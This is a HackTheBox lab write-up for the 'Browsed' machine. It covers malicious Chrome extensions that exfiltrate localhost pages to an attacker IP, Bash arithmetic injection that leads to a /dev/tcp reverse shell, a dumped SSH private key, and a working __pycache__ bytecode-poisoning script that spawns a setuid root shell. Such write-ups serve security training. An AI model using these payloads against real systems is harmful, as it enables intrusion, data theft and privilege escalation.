Browsed

📅 Last Updated: Apr 28, 2026 07:13 | 📄 Size: 21.7 KB | 🎯 Type: HackTheBox Writeup | 🎚️ Difficulty: Medium | 🔗 Back to Categories

Nmap

# Nmap 7.99 scan initiated Sat Apr 25 12:56:45 2026 as: /usr/lib/nmap/nmap --privileged -sC -sV -Pn -oN ./nmap.txt 10.129.244.79
Nmap scan report for 10.129.244.79
Host is up (0.33s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)
|_  256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Browsed
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr 25 12:57:11 2026 -- 1 IP address (1 host up) scanned in 25.43 seconds

HTTP - TCP 80

From the index page, we can find a upload extension.

After I upload a test zip file, it will give us the output.

From the/samples.html, we can download the sample chrome extension

I will download one of them, and upload it to check the output

But that seems not worked here. I will continue to check the output logs

[8157:8178:0425/031019.170504:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/css/index.css?v=1.24.5
[8157:8178:0425/031019.170784:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/css/theme-gitea-auto.css?v=1.24.5
[8157:8178:0425/031019.171331:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/img/logo.svg
[8128:8128:0425/031019.177304:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable

This seems connect with browsedinternals.htb, which is new for us.

I would add it to our /etc/hosts

browsedinternals.htb

From the bottom of the index page, we can find the version Gitea 1.24.5

Continue to explore the git repos, we can find a existed repo I would clone it to our local machine and enumerate the files

app.py is a Python Flask application:

from flask import Flask, request, send_from_directory, redirect
from werkzeug.utils import secure_filename

import markdown
import os, subprocess
import uuid

app = Flask(__name__)
FILES_DIR = "files"

# Ensure the files/ directory exists
os.makedirs(FILES_DIR, exist_ok=True)

@app.route('/')
def index():
    return '''
    <h1>Markdown Previewer</h1>
    <form action="/submit" method="POST">
        <textarea name="content" rows="10" cols="80"></textarea><br>
        <input type="submit" value="Render & Save">
    </form>
    <p><a href="/files">View saved HTML files</a></p>
    '''


@app.route('/submit', methods=['POST'])
def submit():
    content = request.form.get('content', '')
    if not content.strip():
        return 'Empty content. <a href="/">Go back</a>'

    # Convert markdown to HTML
    html = markdown.markdown(content)

    # Save HTML to unique file
    filename = f"{uuid.uuid4().hex}.html"
    filepath = os.path.join(FILES_DIR, filename)
    with open(filepath, 'w') as f:
        f.write(html)

    return f'''
    <p>File saved as <code>{filename}</code>.</p>
    <p><a href="/view/{filename}">View Rendered HTML</a></p>
    <p><a href="/">Go back</a></p>
    '''

@app.route('/files')
def list_files():
    files = [f for f in os.listdir(FILES_DIR) if f.endswith('.html')]
    links = '\n'.join([f'<li><a href="/view/{f}">{f}</a></li>' for f in files])
    return f'''
    <h1>Saved HTML Files</h1>
    <ul>{links}</ul>
    <p><a href="/">Back to editor</a></p>
    '''

@app.route('/routines/<rid>')
def routines(rid):
    # Call the script that manages the routines
    # Run bash script with the input as an argument (NO shell)
    subprocess.run(["./routines.sh", rid])
    return "Routine executed !"

@app.route('/view/<filename>')
def view_file(filename):
    filename = secure_filename(filename)
    if not filename.endswith('.html'):
        return "Invalid filename", 400
    return send_from_directory(FILES_DIR, filename)

# The webapp should only be accessible through localhost
if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000)

The application listens on localhost:5000 and has five routes:

`/` shows a basic HTML page and a form for submitting markdown.

`/submit` takes a POST request to upload markdown, which is converted to HTML and saved with a random name to the `files` directory.

`/files` displays a page that shows the saved HTML files.

`/view/<filename>` shows the HTML file.

`/routines/<rid>` calls a shell script, `routines.sh`, with the given `rid` as its input.

The routines.sh script performs basic maintenance tasks based on a given ID. It compares the ID to a number between 0 and 3, then runs the corresponding shell command or prints an error message.

#!/bin/bash

ROUTINE_LOG="/home/larry/markdownPreview/log/routine.log"
BACKUP_DIR="/home/larry/markdownPreview/backups"
DATA_DIR="/home/larry/markdownPreview/data"
TMP_DIR="/home/larry/markdownPreview/tmp"

log_action() {
  echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" >> "$ROUTINE_LOG"
}

if [[ "$1" -eq 0 ]]; then
  # Routine 0: Clean temp files
  find "$TMP_DIR" -type f -name "*.tmp" -delete
  log_action "Routine 0: Temporary files cleaned."
  echo "Temporary files cleaned."

elif [[ "$1" -eq 1 ]]; then
  # Routine 1: Backup data
  tar -czf "$BACKUP_DIR/data_backup_$(date '+%Y%m%d_%H%M%S').tar.gz" "$DATA_DIR"
  log_action "Routine 1: Data backed up to $BACKUP_DIR."
  echo "Backup completed."

elif [[ "$1" -eq 2 ]]; then
  # Routine 2: Rotate logs
  find "$ROUTINE_LOG" -type f -name "*.log" -exec gzip {} \;
  log_action "Routine 2: Log files compressed."
  echo "Logs rotated."

elif [[ "$1" -eq 3 ]]; then
  # Routine 3: System info dump
  uname -a > "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
  df -h >> "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
  log_action "Routine 3: System info dumped."
  echo "System info saved."

else
  log_action "Unknown routine ID: $1"
  echo "Routine ID not implemented."
fi

The vulnerability in this script lies in the lines of code that use the -eq parameter to compare the input with numbers.

if [[ "$1" -eq 0 ]];

There is a example bash script

#!/bin/bash

NUM="$1"
if [[ "$NUM" -eq 100 ]];then
  echo "OK"
else
  echo "NG"
fi

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Browsed]
└─$ ./sample.sh 100
OK
                                                                                                                                                                                
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Browsed]
└─$ ./sample.sh 101
NG
                                                                                                                                                                                
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Browsed]
└─$ ./sample.sh 'a[$(id)]'
./sample.sh: line 4: uid=1000(wither) gid=1000(wither) groups=1000(wither)

However, since -eq triggers Bash arithmetic operations, which evaluate array index expressions (including command substitutions), I can make it run arbitrary commands.

If I want to interact with localhost:5000, I need to upload a sandboxextension. I will create a manifest.json:

{
  "manifest_version": 3,
  "name": "Read Localhost port 5000",
  "version": "1.0.0",
  "description": "Grab the page on localhost:5000 and return it to me.",
  "permissions": ["scripting"],
  "host_permissions": ["<all_urls>"],
  "background": {
    "service_worker": "background.js"
  }
}

I run JavaScript as a background worker process instead of as a content script so that it is not subject to CORS policies.

We also need to create a simple JavaScript file (the filename matches the service_worker defined in the JSON above) to readhttp://localhost:5000 and return it to me:

fetch("http://localhost:5000/")
  .then(r => r.text())
  .then(d => fetch("http://10.10.14.16/?d=" + btoa(d)));

Now we need to create the zip archive and open the http server to receive the response

┌──(wither㉿localhost)-[~/…/htb-labs/Medium/Browsed/MarkdownPreview]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.244.79 - - [25/Apr/2026 13:22:07] "GET /?d=CiAgICA8aDE+TWFya2Rvd24gUHJldmlld2VyPC9oMT4KICAgIDxmb3JtIGFjdGlvbj0iL3N1Ym1pdCIgbWV0aG9kPSJQT1NUIj4KICAgICAgICA8dGV4dGFyZWEgbmFtZT0iY29udGVudCIgcm93cz0iMTAiIGNvbHM9IjgwIj48L3RleHRhcmVhPjxicj4KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUmVuZGVyICYgU2F2ZSI+CiAgICA8L2Zvcm0+CiAgICA8cD48YSBocmVmPSIvZmlsZXMiPlZpZXcgc2F2ZWQgSFRNTCBmaWxlczwvYT48L3A+CiAgICA= HTTP/1.1" 200 -

We can try to decode them with Base64

┌──(wither㉿localhost)-[~/…/htb-labs/Medium/Browsed/MarkdownPreview]
└─$ echo "CiAgICA8aDE+TWFya2Rvd24gUHJldmlld2VyPC9oMT4KICAgIDxmb3JtIGFjdGlvbj0iL3N1Ym1pdCIgbWV0aG9kPSJQT1NUIj4KICAgICAgICA8dGV4dGFyZWEgbmFtZT0iY29udGVudCIgcm93cz0iMTAiIGNvbHM9IjgwIj48L3RleHRhcmVhPjxicj4KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUmVuZGVyICYgU2F2ZSI+CiAgICA8L2Zvcm0+CiAgICA8cD48YSBocmVmPSIvZmlsZXMiPlZpZXcgc2F2ZWQgSFRNTCBmaWxlczwvYT48L3A+CiAgICA=" | base64 -d

    <h1>Markdown Previewer</h1>
    <form action="/submit" method="POST">
        <textarea name="content" rows="10" cols="80"></textarea><br>
        <input type="submit" value="Render & Save">
    </form>
    <p><a href="/files">View saved HTML files</a></p>

Next, let's try using a bash arithmetic injection vulnerability to implement RCE. Let's modify our manifest.json

fetch("http://localhost:5000/routines/" + encodeURIComponent("a[$(id)]"))
  .then(r => r.text())
  .then(d => fetch("http://10.10.14.16/?d=" + btoa(d)));

Then we will receive the response

┌──(wither㉿localhost)-[~/…/htb-labs/Medium/Browsed/MarkdownPreview]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.244.79 - - [25/Apr/2026 13:28:12] "GET /?d=Um91dGluZSBleGVjdXRlZCAh HTTP/1.1" 200 -

┌──(wither㉿localhost)-[~/…/htb-labs/Medium/Browsed/MarkdownPreview]
└─$ echo "Um91dGluZSBleGVjdXRlZCAh" | base64 -d
Routine executed !

The script's output will never be sent back:

@app.route('/routines/<rid>')
def routines(rid):
    # Call the script that manages the routines
    # Run bash script with the input as an argument (NO shell)
    subprocess.run(["./routines.sh", rid])
    return "Routine executed !"

Now I will modify it with reverse shell

┌──(wither㉿localhost)-[~/…/htb-labs/Medium/Browsed/MarkdownPreview]
└─$ echo 'bash  -i >& /dev/tcp/10.10.14.16/443  0>&1  ' | base64 
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTYvNDQzICAwPiYxICAK

# Modify the file `manifest.json`
fetch("http://localhost:5000/routines/" + encodeURIComponent("a[$(echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTYvNDQzICAwPiYxICAK | base64 -d | bash)]"));

Then we can get the shell as larry

┌──(wither㉿localhost)-[~/…/htb-labs/Medium/Browsed/MarkdownPreview]
└─$ nc -lnvp 443      
listening on [any] 443 ...
Connection received on 10.129.244.79 41288
larry@browsed:~/markdownPreview$

Also we can find the ssh private key from .sshdirectory

larry@browsed:~/.ssh$ cat id_ed25519
cat id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDZZIZPBRF8FzQjntOnbdwYiSLYtJ2VkBwQAS8vIKtzrwAAAJAXb7KHF2+y
hwAAAAtzc2gtZWQyNTUxOQAAACDZZIZPBRF8FzQjntOnbdwYiSLYtJ2VkBwQAS8vIKtzrw
AAAEBRIok98/uzbzLs/MWsrygG9zTsVa9GePjT52KjU6LoJdlkhk8FEXwXNCOe06dt3BiJ
Iti0nZWQHBABLy8gq3OvAAAADWxhcnJ5QGJyb3dzZWQ=
-----END OPENSSH PRIVATE KEY-----

We can use this private key to ssh connect to the shell as larry

┌──(wither㉿localhost)-[~/…/htb-labs/Medium/Browsed/MarkdownPreview]
└─$ ssh -i id_ed25519 larry@10.129.244.79  
larry@browsed:~$ whoami
larry
larry@browsed:~$ id
uid=1000(larry) gid=1000(larry) groups=1000(larry)

Privilege Escalation

I would check sudo -lfirstly

larry@browsed:~$ sudo -l
Matching Defaults entries for larry on browsed:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User larry may run the following commands on browsed:
    (root) NOPASSWD: /opt/extensiontool/extension_tool.py

We can review the script

larry@browsed:~$ cat /opt/extensiontool/extension_tool.py
#!/usr/bin/python3.12
import json
import os
from argparse import ArgumentParser
from extension_utils import validate_manifest, clean_temp_files
import zipfile

EXTENSION_DIR = '/opt/extensiontool/extensions/'

def bump_version(data, path, level='patch'):
    version = data["version"]
    major, minor, patch = map(int, version.split('.'))
    if level == 'major':
        major += 1
        minor = patch = 0
    elif level == 'minor':
        minor += 1
        patch = 0
    else:
        patch += 1

    new_version = f"{major}.{minor}.{patch}"
    data["version"] = new_version

    with open(path, 'w', encoding='utf-8') as f:
        json.dump(data, f, indent=2)
    
    print(f"[+] Version bumped to {new_version}")
    return new_version

def package_extension(source_dir, output_file):
    temp_dir = '/opt/extensiontool/temp'
    if not os.path.exists(temp_dir):
        os.mkdir(temp_dir)
    output_file = os.path.basename(output_file)
    with zipfile.ZipFile(os.path.join(temp_dir,output_file), 'w', zipfile.ZIP_DEFLATED) as zipf:
        for foldername, subfolders, filenames in os.walk(source_dir):
            for filename in filenames:
                filepath = os.path.join(foldername, filename)
                arcname = os.path.relpath(filepath, source_dir)
                zipf.write(filepath, arcname)
    print(f"[+] Extension packaged as {temp_dir}/{output_file}")

def main():
    parser = ArgumentParser(description="Validate, bump version, and package a browser extension.")
    parser.add_argument('--ext', type=str, default='.', help='Which extension to load')
    parser.add_argument('--bump', choices=['major', 'minor', 'patch'], help='Version bump type')
    parser.add_argument('--zip', type=str, nargs='?', const='extension.zip', help='Output zip file name')
    parser.add_argument('--clean', action='store_true', help="Clean up temporary files after packaging")
    
    args = parser.parse_args()

    if args.clean:
        clean_temp_files(args.clean)

    args.ext = os.path.basename(args.ext)
    if not (args.ext in os.listdir(EXTENSION_DIR)):
        print(f"[X] Use one of the following extensions : {os.listdir(EXTENSION_DIR)}")
        exit(1)
    
    extension_path = os.path.join(EXTENSION_DIR, args.ext)
    manifest_path = os.path.join(extension_path, 'manifest.json')

    manifest_data = validate_manifest(manifest_path)
    
    # Possibly bump version
    if (args.bump):
        bump_version(manifest_data, manifest_path, args.bump)
    else:
        print('[-] Skipping version bumping')

    # Package the extension
    if (args.zip):
        package_extension(extension_path, args.zip)
    else:
        print('[-] Skipping packaging')


if __name__ == '__main__':
    main()

This is a browser extension management tool with three main functions:

validate_manifest() — validates the extension's manifest.json

bump_version() — updates the extension version number (major/minor/patch)

package_extension() — packages the extension into a zip file

Path Traversal → Arbitrary file writing, Location: package_extension() function

output_file = os.path.basename(output_file)  # Only the filenames were cleaned up
with zipfile.ZipFile(os.path.join(temp_dir, output_file), 'w', ...) as zipf:
    for foldername, subfolders, filenames in os.walk(source_dir):
        for filename in filenames:
            filepath = os.path.join(foldername, filename)
            arcname = os.path.relpath(filepath, source_dir)  # ← Vulnerable point
            zipf.write(filepath, arcname)

Problem: The arcname is generated using os.path.relpath(), but it doesn't verify whether arcname contains ../.

If a symbolic link exists in the extended directory pointing to the parent directory, arcname might become a path like ../../etc/passwd. This can lead to a Zip Slip attack during decompression, overwriting arbitrary system files.

There is also a Python module hijacking issue.

The problem lies in the script python from extension_utils import validate_manifest, clean_temp_files. The script imports functions from extension_utils. Python's module search order is:

1. Current working directory (CWD)

2. Paths specified by the PYTHONPATH environment variable

3. Standard library directory

4. site-packages

The /opt/extension tool/__pycache__/ directory is writable by users with low privileges.

larry@browsed:~$ ls -la /opt/extensiontool/__pycache__/
total 8
drwxrwxrwx 2 root root 4096 Dec 11 07:57 .
drwxr-xr-x 4 root root 4096 Dec 11 07:54 ..

This means I can update the .pyc files within it. Then, when I run the script as the root user, my .pyc files will also run as the root user.

The naturally generated .pyc file contains the following header information.

larry@browsed:/opt/extensiontool$ xxd __pycache__/extension_utils.cpython-312.pyc | head -1
00000000: cb0d 0d0a 0000 0000 d3e8 df67 dd04 0000  ...........g....

We need to ensure that our malicious .pycfile uses the same header file.

We can create a script to exploit this.

import marshal
import py_compile
import subprocess
from datetime import datetime, timezone
from dis import dis
from pathlib import Path
from types import SimpleNamespace
from py_compile import PycInvalidationMode


def parse_header(header):
    metadata = SimpleNamespace()
    metadata.magic_number = header[0:4]
    metadata.magic_int = int.from_bytes(header[0:4][:2], "little")
    metadata.python_version = f"3.{(metadata.magic_int - 2900) // 50}"
    metadata.bit_field = int.from_bytes(header[4:8], "little")
    metadata.pyc_type = {
        0: PycInvalidationMode.TIMESTAMP,
        1: PycInvalidationMode.UNCHECKED_HASH,
        3: PycInvalidationMode.CHECKED_HASH,
    }.get(metadata.bit_field)
    if metadata.pyc_type is PycInvalidationMode.TIMESTAMP:
        metadata.timestamp = datetime.fromtimestamp(
            int.from_bytes(header[8:12], "little"),
            timezone.utc,
        )
        metadata.file_size = int.from_bytes(header[12:16], "little")
    else:
        metadata.hash_value = header[8:16]
    return metadata

BASE_DIR = Path("/opt/extensiontool")

print('[*] Running extension_tool.py to ensure .pyc files exist')
subprocess.run(['sudo', BASE_DIR / 'extension_tool.py'], capture_output=True)

print('[*] Reading legit header from .pyc')
pyc = BASE_DIR / '__pycache__/extension_utils.cpython-312.pyc'
raw_header = pyc.read_bytes()[:16]
header = parse_header(raw_header)
for k,v in vars(header).items():
    print(f"    {k}: {v}")

print('[*] Creating poisoned source code')
orig = BASE_DIR / 'extension_utils.py'
orig_src = orig.read_text()
poisoned_src = orig_src + '''

import os
os.system('cp /bin/bash /tmp/shell; chmod 6777 /tmp/shell')
'''

print('[*] Compiling poisoned source and overwriting .pyc')
code = compile(poisoned_src, BASE_DIR / 'extension_utils.py', 'exec')
pyc.unlink()
pyc.write_bytes(raw_header + marshal.dumps(code))

print('[*] Running extension_tool.py with poisoned .pyc')
subprocess.run(['sudo', BASE_DIR / 'extension_tool.py'], capture_output=True)

shell = Path('/tmp/shell')
if shell.exists():
    print('[+] SetUID / SetGID bash exists. Starting root shell.')
    subprocess.run(['/tmp/shell', '-p'])
else:
    print('[-] Exploit failed')

It runs a program to ensure the .pyc file exists. Then it retrieves the header files from that file for reuse. It reads the source code of extension_utils.py and appends bash code at the end to create SetUID/SetGID. It then compiles that code and outputs the header files and bytecode to the .pyc file. I need to delete it first because Larry doesn't have write permissions to a legitimate copy. However, since the directory is globally writable, it can be easily deleted and a new file written.

After we run the script, we can get the shell as root

larry@browsed:~$ python3 shell.py 
[*] Running extension_tool.py to ensure .pyc files exist
[*] Reading legit header from .pyc
    magic_number: b'\xcb\r\r\n'
    magic_int: 3531
    python_version: 3.12
    bit_field: 0
    pyc_type: PycInvalidationMode.TIMESTAMP
    timestamp: 2025-03-23 10:56:19+00:00
    file_size: 1245
[*] Creating poisoned source code
[*] Compiling poisoned source and overwriting .pyc
[*] Running extension_tool.py with poisoned .pyc
[+] SetUID / SetGID bash exists. Starting root shell.
shell-5.2# whoami
root

Description

Browsed is a medium-difficulty Linux machine centred around abusing browser extension functionality. By uploading a malicious Chrome extension, players intercept a developer's browsing activity to uncover an internal Gitea instance hosting a Flask application. Source code analysis reveals a command injection vulnerability in a bash script exposed via a localhost-only endpoint; since the endpoint is unreachable directly, a second extension is delivered to make the developer's browser trigger the payload, yielding a reverse shell as larry. Privilege escalation abuses Python's bytecode caching mechanism — the __pycache__ directory of a privileged tool is world-writable, allowing replacement of a trusted .pyc file with a malicious compiled module that executes as root on the next scheduled invocation.